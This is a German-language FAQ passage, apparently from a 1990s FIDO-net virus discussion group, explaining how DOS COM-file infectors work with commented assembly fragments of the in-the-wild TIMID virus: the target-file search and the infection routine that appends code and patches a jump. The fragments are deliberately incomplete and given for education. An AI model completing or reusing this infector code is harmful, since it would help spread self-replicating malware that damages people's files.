Nachdem im FIDO-Echo VIRUS.GER immer wieder die Frage auftaucht, wie funktioniert denn ein Virus nun wirklich, und immer wieder gefordert wird, man solle doch mal Viren-Source veroeffentlichen, damit die "elitären Virenkenner" nicht mehr als die allmächtigen Gurus da stehen, sondern auch normale Anwender sich ein Bild von Viren machen können, haben wir hier die FAQ entsprechend erweitert. Es folgen nun ein paar kleine, kurze, Beispiele mit echtem Virus-Code, anhand deren der interessierte Leser sich selbst an die Thematik heranarbeiten kann. Ich weise nochmals darauf hin, das diese Viren nicht von mir oder einem VHM-Mitglied stammen, sondern ITW auftreten. Das assemblieren, linken, oder anderweitige Verwenden dieser Codes ist untersagt und erfolgt gegen unseren ausdrücklichen Willen.
Für einen COM-Infektor ist es am einfachsten, wenn er am Anfang eines
COM-Files gestartet wird, da er sich dann nicht darum kümmern muß, daß
seine Aktivitäten irgendwelche Register oder Einstellungen des infizierten
Programms beeinflussen könnten. Deshalb gehen alle einfachen COM-Infektoren
den Weg, die erste Anweisung des infizierten Programms durch einen Sprung zum
Viruscode zu ersetzen. Dadurch wird zuerst der Virus ausgeführt und erst
wenn dieser abgearbeitet ist, wird das eigentliche Hostprogramm gestartet. Wie
man an der Grafik sehen kann, wird durch die Infektion die erste Anweisung (bei
COM-Files immer die Adresse 100h) durch einen solchen Sprung ersetzt und die
Originalanweisung wird irgendwo gerettet.
Wird nun so ein infiziertes Programm (A) gestartet, wird als erstes ein Jump nach 154A hex gemacht und der Code dort, also der Virus abgearbeitet. Der Virus hat nun folgendes zu tun:
Damit haette der Virus erfolgreich ein anderes Programm infiziert und dann
das eigentliche Programm gestartet. Der Anwender hätte dabei bestimmt
nichts gemerkt. Um das ganze dann in die Praxis umzusetzen, geht der TIMID wie
folgt vor:
------------------ Source von TIMID -------------------
Suche_Datei: | mov dx,COMDATEI | ;Name der zu suchenden Datei | |
mov cx,3FH | ;welche Attributesoll die Datei haben, hier in diesem fall egal | ||
mov ah,4EH | ;die DOS-Funktion "suche erste passende Datei | ||
int 21H | |||
Schleife_Suche_Datei: | or al,al | ;haben wir eine Datei gefunden ? | |
jnz ENDE | ;falls es keine Datei gibt, die die Bedingung erfüllt,gehe nach ENDE ansonsten... | ||
call FILE_OK | ;Rufe Unterprogramm, das prüft, ob die Datei brauchbar ist | ||
jz ENDE | ;brauchbare Datei gefunden, Aufgabe erledigt, gehe nach ENDE ansonsten... | ||
mov ah,4FH | ;die DOS-Funktion "finde nächste passende Datei (die anderen Register passen ja noch) | ||
int 21H | |||
jmp Schleife_Suche_Datei | ;gehe zum Schleifen anfang und prüfe ob wir jetzt eine passende Datei gefunden haben | ||
ENDE: | ret | zurück zum Hauptprogramm | |
COMDATEI | db '*.COM',0 | Zuweisung der Variablen COMDATEI |
Dieses kurze Codestueck macht deutlich, wie der TIMID sich sein Opfer sucht.
Das Unterprogramm FILE_OK macht nichts weiter, als zu prüfen, ob die
gefundene Datei klein genug ist (damit bei der Infektion die Dateigröße
nicht über 64K ansteigt) und die Bytes 0,3 und 4 keinen Jump enthalten bzw.
die Viruskennung (beim TIMID "VI") nicht gesetzt ist (Signatur
e9??5649). Sind die Bedingungen alle erfüllt, hat der Virus nun ein
perfektes Opfer gefunden, sprich der erste Schritt ist damit schon erledigt.
Als nächstes muß der Virus seinen eigenen Code an das Hostfile anhängen,
den Host also infizieren.
INFECT: | ; Öffnen der Datei, die infiziert werden soll | ||
mov dx,OFFSET FNAME | ;Name des Hosts der infiziert werden soll | ||
mov ax,3D02H | ;r/w Zugriff, damit der Host auch beschrieben werden kann | ||
int 21H | |||
mov [HANDLE], ax | ;speichern des Filehandles | ||
xor cx, cx | ;nun wird der Schreibpointer auf das Ende des Hosts gesetzt (cx=0) | ||
mov dx,cx | ;Offset ab Pointer soll 0 sein | ||
mov bx, [HANDLE] | ;Filehandle in bx | ||
mov ax,4202H | ;Pointer auf Dateiende (al=2) und DOS-Funktion "bewege Dateipointer" (ah=42) | ||
int 21H | ; und jetzt kann der Virus seinen Code schreiben. Da der Virus aber an ; unterschiedlich große Dateien angehängt werden soll, muß der Virus immer zuerst seine eigene Position im Speicher bestimmen, damit dann auch immer die richtigen Bytes aus dem Speicher an die Datei angehängt werden. Dazu ; bedient sich der Virus zweier Labels (FINAL und VIRUS). | ||
mov cx,OFFSET FINAL - OFFSET VIRUS | ;Anzahl der Bytes, die geschrieben werden sollen, hier also die Endadresse des Virus minus der Startadresse des Virus | ||
mov dx,[VIR_START] | ;Startadresse der Daten im Speicher, die geschrieben werden sollen | ||
mov bx, [HANDLE] | ;Filehandle in bx | ||
mov ah,40H | ;DOS-Funktion "schreibe in Datei" | ||
int 21H |
Ok, der eigentliche Code ist schon geschrieben, nun muß die erste
Anweisung des neuinfizierten Hosts gesichert, und durch die Jump Anweisung für
den Virus ersetzt werden. Dies ist der dritte Schritt in der Aufgabenliste des
TIMID. Diesen erledigt der Virus ebenfalls in der Subroutine INFECT. ;
Filepointer auf Bereich stellen, an die originalen ersten 5 Bytes des ; Hosts
gesichert werden
xor cx,cx | ;cx=0 | ||
mov dx,WORD PTR [FSIZE] | ;Originalgröße des Hosts in dx | ||
add dx,OFFSET START_CODE - OFFSET VIRUS | ;zähle die Größe des Virus hinzu | ||
mov bx, [HANDLE] | ;Filehandle in bx | ||
mov ax,4200H | ;DOS-Funktion um den Filepointer zu positionieren | ||
int 21H | ;sichern der originalen ersten 5 Bytes | ||
mov cx,5 | ;Anzahl der zu schreibenden Bytes | ||
mov bx, [HANDLE] | ;Filehandle in bx | ||
mov dx,OFFSET START_IMAGE | ;Bytes die geschrieben werden sollen. Sie werden hier durch den Label START_IMAGE markiert und zeigen auf den Dateianfang des Hosts | ||
mov ah,40H | ;DOS-Funktion "schreibe in Datei" | ||
int 21H | ; Positionieren des Filepointers auf den Dateianfang | ||
xor cx,cx | ;cx=0 | ||
mov dx,cx | ;dx=cx=0 | ||
mov bx, [HANDLE] | ;bx=Filehandle | ||
mov ax,4200H | ;DOS-Funktion ;"positioniere den Filepointer" | ||
int 21H | ;nun muß die Adresse für den neuen Jump ermittelt werden | ||
mov bx,[VIR_START] | ;bx=Adresse des Viruscode | ||
mov BYTE PTR [START_IMAGE],0E9H | ;setze den Jumpbefehl (E9 hex) an den Anfang | ||
mov ax,WORD PTR [FSIZE] | ;ax=Größe des Hosts | ||
add ax,OFFSET VIRUS_START-OFFSET VIRUS-3 | ;vergößere ax um die Anzahl der Bytes im Virus, bevor der executable Code beginnt minus 3 Bytes (die Jump Anweisung zählt ab 103h) | ||
mov WORD PTR [START_IMAGE+1],ax | ;Inhalt von ax wird ;jetzt als 2. und 3. Byte geschrieben | ||
mov WORD PTR [START_IMAGE+3],4956H | ;Byte 4 und 5 werden zur Selbsterkennung auf 'VI' gesetzt. Die modifizierten 5 Bytes des Hosts werden nun abgespeichert. ; (nix neues mehr, daher ohne jeden Kommentar) | ||
mov cx,5 | |||
mov dx,OFFSET START_IMAGE | |||
mov bx, [HANDLE] | |||
mov ah,40H | |||
int 21H | ; Infektion ist beendet, der infizierte Host kann geschlossen werden | ||
mov bx, [HANDLE] | ;bx=Filehandle des Host | ||
mov ah,3EH | ;DOS-Funktion "schließe Datei" | ||
int 21H | |||
ret | ;Zurück zum Hauptprogramm von TIMID. die Infektion des neuen Hosts ist beendet |
Wie man anhand dieser Codefragmente leicht sehen kann, ist der Aufbau eines solchen Virus keineswegs magisch, trickreich oder auch nur besonders innovativ. Viren sind ganz normale Programme, wie Textverarbeitungen auch. Um hier keine Bauanleitung für Viren zu verbreiten, werden keine weiteren Codeteile des TIMID hier dokumentiert. Die maßgebenden Techniken sind vorgestellt und erklärt, der Rest, der zum vollständigen Virus noch fehlt ist reine Handarbeit, die ein Assemblerprogrammierer leicht noch hinzufügen kann. Allerding kann ein solcher Programmierer leicht selbst einen Virus erstellen, während die User, die keine Vorstellung haben, wie der Rest des Virus aussehen muß, mit den veröffentlichten Fragmenten keinen Unsinn anstellen können.
Dieser Text ist nach internen Diskussionen in der VHM vorerst der Zensur zum Opfer gefallen.